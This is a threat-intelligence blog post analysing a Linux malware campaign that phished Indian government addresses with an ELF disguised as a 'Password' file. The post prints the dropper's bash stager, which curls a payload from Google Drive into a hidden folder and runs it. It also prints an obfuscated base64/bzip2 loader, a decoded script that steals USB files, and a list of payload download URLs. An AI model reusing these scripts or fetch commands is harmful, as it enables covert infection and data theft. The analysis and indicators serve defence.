There’s an old joke that “Linux on the desktop is the future, and it always will be”. Although linux backdoors are not always novel, because Linux accounts for <5% of desktops, initial droppers for Linux are extremely rare for an initial compromise. To put it another way, users are not getting infected by .elf file attachments from email.
Except when they do.
An email was recently uploaded to VirusTotal, showing a compromised Indian government account sending a malicious mail to separate Indian government domain. The attachment format was what raised our eyebrows, however. The ZIP attachment contained a pdf, a docx, and an ELF. record scratch
Figure 1: Initial phish
SHA256 | Filename | Notes |
---|---|---|
8f609f60dd82dc13878b1d82ebc56e5056cb9274234df1510ee737e62ba22aaa | Application Form & Brochure.zip | Initial attachment |
90f7d3f354a1637d7467962fe87449532881d06ed76acaae696cc286cba02de7 | Application Form.pdf | Decoy pdf |
d7cf1c4dfcb10f1ad533413f419e6dd467783f82a87d6c309ba9a213457e035c | Housing Project Brochure.docx | Decoy docx |
a074d391d575f6628fba3a90adb4673ea189512b55e7980d74fd816e354e10cb | Password | UPX-packed ELF binary |
b5d73c422d9070eff12adb65a39a76188bd69de4a972108c78a2d3516627f5be | Password (unpacked) | upx -d unpack command |
Figure 2: Files unpacked that were attached
The Password is an ELF binary, that when you execute it, it pops a dialog box via:
zenity --info --no-wrap "--text=Your File Access Code is: 745 414" --title=Password
Figure 3: Dialog box that pops when the ELF is run
The pdf and docx are legitimately password protected with that password (the docx curiously doesn’t use a space in the numbers), which can be observed below:
password protected PDF | after decryption |
---|---|
![]() |
![]() |
Figure 4: Encrypted and decrypted PDF files
The “password” binary proceeds to execute a shell script, and fetch a number of files from Google Drive, all created by the account
damosunday98@gmail.com
.
1if ! pgrep -x "gnucoreinfo" >/dev/null; then
2 ###search for a process named gnucoreinfo, if does not exist, launch it###
3 nohup sh -c 'cd ~/.x86_32-linux-gnu && ./gnucoreinfo > /dev/null 2>&1 &' >/dev/null 2>&1
4fi
5
6if [ ! -d "$HOME/.x86_32-linux-gnu" ]; then
7 ###if .x86_32-linux-gnu is not a directory, create it###
8 mkdir "$HOME/.x86_32-linux-gnu" fi if [ ! -f "$HOME/.x86_32-linux-gnu/gnucoreinfo" ]; then
9 ### if gnucoreinfo is not a file in that directory, download it, make it executable, ### and run it in the background###
10 curl -L -o "$HOME/.x86_32-linux-gnu/gnucoreinfo" "https://drive.google[.]com/uc?export=download&id=1VXY76hUXaWcXQBdbUZYjVhOHmI6fOUHV" >/dev/null 2>&1
11 chmod +x "$HOME/.x86_32-linux-gnu/gnucoreinfo"
12 cd "$HOME/.x86_32-linux-gnu"
13 if ! pgrep -x "gnucoreinfo" >/dev/null; then
14 nohup sh -c 'cd ~/.x86_32-linux-gnu && ./gnucoreinfo > /dev/null 2>&1 &' >/dev/null 2>&1
15 fi
16 cd
17fi
Figure 5: Initial bash script executed by Password ELF
gdrive token | UPX packed file name ‘vmcoreinfo.txt’ | unpacked |
---|---|---|
1VXY76hUXaWcXQBdbUZYjVhOHmI6fOUHV | 8e59936cd5b69eed2241866384915427e576158331a3a67fa50ca6fc1b129a99 | 4d4fdc48bc2f17b45af97d0cf2ce69913532b9b27a7ed97ee2e5b42540e4e |
Figure 5: UPX unpacked ELF from google drive
vmcoreinfo
is another ELF with “DiscordGO”, and fetches three more files from Google Drive
Google drive ID | SHA256 | filename |
---|---|---|
1dlI8jSabaeJT1MnQxiih0Ww-hZrG-GAe | bebe490aec13b6d84f56250c0f6f9d9f10bc0ba0ae42316407d49b87217b63fc | BID2.txt |
1XvW8ir8l0G9axv4lhEvQFOxOyzmMV64t | d8b8116c5e9a14983c275444dc3a251cdad09f9d56e6c121749269c24bf691a9 | GID2.txt |
1btUsB3nWehTNW8Cho9Wv3Efrt4c6EhI_ | ae59ba12ec6a42ee5b08c3e2ce91ec02071b2f5ad9338e3a19d690bd68acb860 | GTK-Theme-Parse.txt |
Figure 6: Next stages fetched from Google Drive
The BID
file was a token for Discord (Bot ID), but the GTK-Theme-Parse
had us briefly looking sideways at the monitor
1#!/bin/bash 2"${@,,}" $BASH ${*%%u;q3} ${@,}
3<<<"$( ${*~~} p'''r''i'\ntf 'QlpoOTFBWSZTWdHbOc0AACXfgERQfPfwG19mnpu/7// 4uQAKi5O3duquuEoQUwnpTTQaNA0AAaaAHqDyg8oMhTU9MVNplHqHoIAAPUAaNHlGgASKaphIPSB 5p6mxQABoAAAaDQJTURpHoo2p6mnqaehGgMho9QANDIAeIBEp0DX1zhc/0LLXMzfNBM4FfRBW 6HuV06MYLctkahEBMAgHeV1qs5GUzLTxLKBbwmwYpqZmc2yiFsGqvgPKsxinsfpCqLypkG6I 7rO9L4Si4uNYI/kitXstCwwPgIolDI4YhlcJJSEekRiC6uaN+0XdttrAFXlfzKQmtLohAJ 8BIO5JZGflzHK5LKJKEpkYtFnczmQrppdpQFhNZsFspGM5jKBsQzzVWxW+7RYMMBZEPfZ 9kVhKZVkol0xtuGlC8zE0HJjJkZq/UXJMYaAHmoTx9C4lrjet95pcS4zin3BcBhAgHByVR10OzCz3wdp8Jt6CuXWtu4Y2w9HmDs+Y4RAzITTaAFKGUhdYgzODOVvYHIgvDU/mkcKknGcJnn6BQGU11zqsfV4jpKxANDMo6zDQpduDfSS7c5kVg6p08zyqIioFVQFT9QMy/hVETAdkwMmIEQkTBRGfdw3yc12nJRoimdtvbABQUj2ZFhIwXisFTY0RUcqliRDJQMHiz4C8okNw565ZcAjGmZCxnGgpqYspIhct313ErgMSY1EHiGyTn8EsFYwqlbdaBhSk0BPRqk0hBjr1r0xRIGOkhWJpIFIEFcIA7ERZ5C82y1Q28814vgVRGqkZG7FxhTVANA79M17YzjRbbbq4LqKmlRREKIkwGInlJkOfMZJ3mbGgmPV1MMhykHsKqKp15Im1xaXlIoMxW2NuHlHJlV8rOmaEs0TpBomgTcFv8Ku2t+7Eg0kx5JMBWQia+UCSFn49KiGj/16F3JFOFCQ0ds5zQA==' ${*/af*FB} | ${*//;=gV/%_MnfSkx} ba"17 s "${@//ZJ6xPX7n/5oHg}e\64 -d " ${@^^}" |
18 ${*#9V-Z1>} bu$'\u006e'z''ip" ${@,,}19"2 -c ${*~~} )" "${@//\[Q1m%W2/\[Duwv3bC}" ${*//\(^$\Otl/__+y7p}
Figure 7: obfuscated bash fetched
Your eyes can probably notice the base64 chunk, as well as simple obfuscation around ‘printf’ and ‘bunzip2’. You may notice junk obfuscation, such as ${@^^}
and ${@,,}
, which simply make script arguments upper and lower case. It’s easiest to simply decode the base64 and bunzip it, which ironically gives us an unobfuscated script, neatly documented. As you can see, it copies files from usb sticks, and records the metadata. There was a separate but related attack mentioned by Sir Tom at Volexity, as well as researchers at Blackberry. Rather than reinvent the wheel, you can head there to see more technical details on the ELF, including some slick command and control using emojis. The rest of this blog will be showing how to find variants.
1# Define the directory paths
2USB_DIR="/media/$USER"
3RECORD_FILE="record.txt"
4DEST_DIR="$HOME/Documents/swift2"
5
6# Function to copy files from USB drive to destination folder
7copy_files() {
8 device_name="$1"
9 device_path="$USB_DIR/$device_name"
10 folder_name="$DEST_DIR/$device_name"
11 record_file="$folder_name/$RECORD_FILE"
12
13 # Create destination folder if it doesn't exist
14 mkdir -p "$folder_name"
15
16 # Copy new files to destination folder, rename, and add to record.txt
17 find "$device_path" -type f | while read -r filepath; do
18 filename=$(basename "$filepath")
19
20 # Check if filename already exists in record.txt
21 if ! grep -q "^$filename$" "$record_file"; then
22 echo "$filename" >> "$record_file"
23 cp "$filepath" "$folder_name/UZB_$filename"
24 echo "File copied: $filename"
25 else
26 echo "File skipped: $filename"
27 fi done
28}
29
30# Main loop
31while true; do
32 # Check for connected USB drives
33 drives=($USB_DIR/*)
34
35 # Iterate through connected drives
36 for drive_path in "${drives[@]}"; do
37 drive=$(basename "$drive_path")
38
39 # Check if record.txt exists for the drive
40 if [ ! -d "$DEST_DIR/$drive" ] || [ ! -f "$DEST_DIR/$drive/$RECORD_FILE" ]; then
41 # Copy files if record.txt doesn't exist
42 copy_files "$drive"
43 else
44 # Copy new files to destination folder, rename, and add to record.txt
45 copy_files "$drive"
46 fi
47 done
48
49 # Wait for 10 seconds before the next iteration
50 sleep 10
51done
Figure 8: Final script that polls /media mount point looking for interesting files to steal
Figure 9: Diagram of execution
To find similar files, we noticed interesting pivot points such as:
Pivot point | Example match |
---|---|
/home/hackerex | /home/hackerex/Desktop/Golang_Dev/Discord/14/New file testing/Password.go |
zenity --info --no-wrap (behavior) |
zenity --info --no-wrap "--text=Your File Access Code
is: 627 914" --title=Password
|
error setting up cron job: | error setting up cron job: %v*/5 * * * * bash -i -c ’exit' |
Figure 10: suggested ways to find similar files
We were able to find some similar top level files, and the subsequent next stages. We have shared these on our github at the end of the post
Figure 11: CARA assisting the analyst find variants
sha256 | filename | upx unpacked |
---|---|---|
f2eca0ed18b7d5bd800b597bd429c028c62524da777bf4e09e14440c50ce1529 | Revised_IT_Rebate | c2188334e78f1e4fc2402f9cdb31656008365a9622430e2e4323aed96fb711bb |
51a372fee89f885741515fa6fdf0ebce860f98145c9883f2e3e35c0fe4432885 | DSOP_Fund_Nomination_Form | 1cdf1f32f31e226f037fda562985e481b7aa0b809971f2e40b713b034cf1d44e |
91a4093cbda11aa4e4816708fd58c3339315b389d87a34e5078338213c5e07d9 | Password | b77b1975417c0a76f6b017cf6d6e22420bf9bc5f9b705798c715cb5265a3203a |
44504a847b36d8c76dbe9e1bdc63fd7e4cac41fa93f392317abfcabdbb6044de | India_Emerging_Global_Economy | not upx packed |
c981aa1f05adf030bacffc0e279cf9dc93cef877f7bce33ee27e9296363cf002 | Immovable_Property_Returns | 1672e7e771136bab309161b009716dd5a0438c8f03e352274aab94611bf5f248 |
2abaae4f6794131108adf5b42e09ee5ce24769431a0e154feabe6052cfe70bf3 | DSOP_Nom | 5d2dbbbec39b425a284a284f3b5363e04c728509194f27ad39554f5a794e2afd |
Figure 12: Other top-level droppers discovered
Next stages, see github for downloads | filename | notes |
---|---|---|
https://drive.google[.]com/uc?export=download&id=134lLfuotAVNi1kwXGM0ebYEQXmcZzXZD | LAN_Conf.txt | bash control script |
https://drive.google[.]com/uc?export=download&id=17-zY-F8mX5SdiMGckLXfaLUFdHXKlZ3B | WAN_Conf.txt | elf |
https://drive.google[.]com/uc?export=download&id=198iFGb-HSg7hVzCSwji9XsNhKWXj86zg | GTK-Theme-Parse.txt | base64 → bzip → bash script |
https://drive.google[.]com/uc?export=download&id=1K5mXjTAhvT-trugsBwWK-kxQ0IHzJm2q | vmcoreinfo.txt | base64 elf |
https://drive.google[.]com/uc?export=download&id=1Qo0aaS4JqsM8HZApxguvKavQ71u_dYZe | vmcoreinfo.txt | 1227fd4c67541505448bc67f2a8fe8dd8efde758365f0aeab7a6852fd30bbc43 → ed52e2fbb7ffe95824e5bfc8963578a6f3fd50e9d34c579c7b1bd6bdf922b4d3 upx |
https://drive.google[.]com/uc?export=download&id=1TgaT2DtSH12t-3EHBDinpxQNAouKbBTq | India_Emerging_Global_Economy.pdf | decoy PDF |
https://drive.google[.]com/uc?export=download&id=1VXY76hUXaWcXQBdbUZYjVhOHmI6fOUHV | vmcoreinfo.txt | |
https://drive.google[.]com/uc?export=download&id=1Vmuu0JGueRgR8nUEtyzYOMqFeU91_J-B | vmcoreinfo.txt | |
https://drive.google[.]com/uc?export=download&id=1XvW8ir8l0G9axv4lhEvQFOxOyzmMV64t | GID2.txt | channel id |
https://drive.google[.]com/uc?export=download&id=1btUsB3nWehTNW8Cho9Wv3Efrt4c6EhI_ | GTK-Theme-Parse.txt | bzip’d bash |
https://drive.google[.]com/uc?export=download&id=1dlI8jSabaeJT1MnQxiih0Ww-hZrG-GAe | BID2.txt | bot ID |
https://drive.google[.]com/uc?export=download&id=1hLuUjYw-kb8R2eIQ39A9A1WdwWGHsGGt | drivers_update_check.txt | fa3279aa22eac728d483c946ba714c7ec91b02ab262560b8d85a3acb03160a29 → 9a9fbce37ebe327b95059ca74ede15cc4b536f92e21cc9c2546efd1b638c99c7 upx |
https://drive.google[.]com/uc?export=download&id=1mmllHvOps_P9VrOFvVLhRV-m78fKZyO2 | WAN_conf.txt | ead993c1d537c239750e19a5700a58501dab319d5d271bf85137608448c1faa0 → fe7e7a5a1b1d634dec3fc9c6bc91c6e96ec635fece5af10cfac894fd228ca38d upx |
https://drive.google[.]com/uc?export=download&id=17CwwbWtDTtCXnXGlUVq4Bn3ibsRxGujf | GID3.txt | channel id |
https://drive.google[.]com/uc?export=download&id=1FjufdMwRhNRS1ZCQ_1AnjQWN9-pwLVOp | BID1.txt | bot token |
https://drive.google[.]com/uc?export=download&id=1RC-03-VI9l855JsvqmPQ1sGK0dCAWsjy | BID3.txt | bot token |
https://drive.google[.]com/uc?export=download&id=1hHqEimmmZBmu0jJUz_qkvErvAecnkrW5 | GID1.txt | channel id |
other urls on ordai[.]quest and clawsindia[.]in | see blackberry & volexity posts |
Figure 13: Subsequent files dropped by each top-level file
Vendor | Threat Actor name |
---|---|
You? | Get in touch for blog pre-releases! |
Figure 14: Other validated vendor names for this actor
Our github provides a download to both the raw samples mentioned in the blog, as well as the indicators mentioned.
Acknowledgements
The authors would like to thank the reviewers, as well as peer vendors, for their comments and corrections. Please get in touch at research@strikeready.com if you have corrections, or would like to collaborate on research.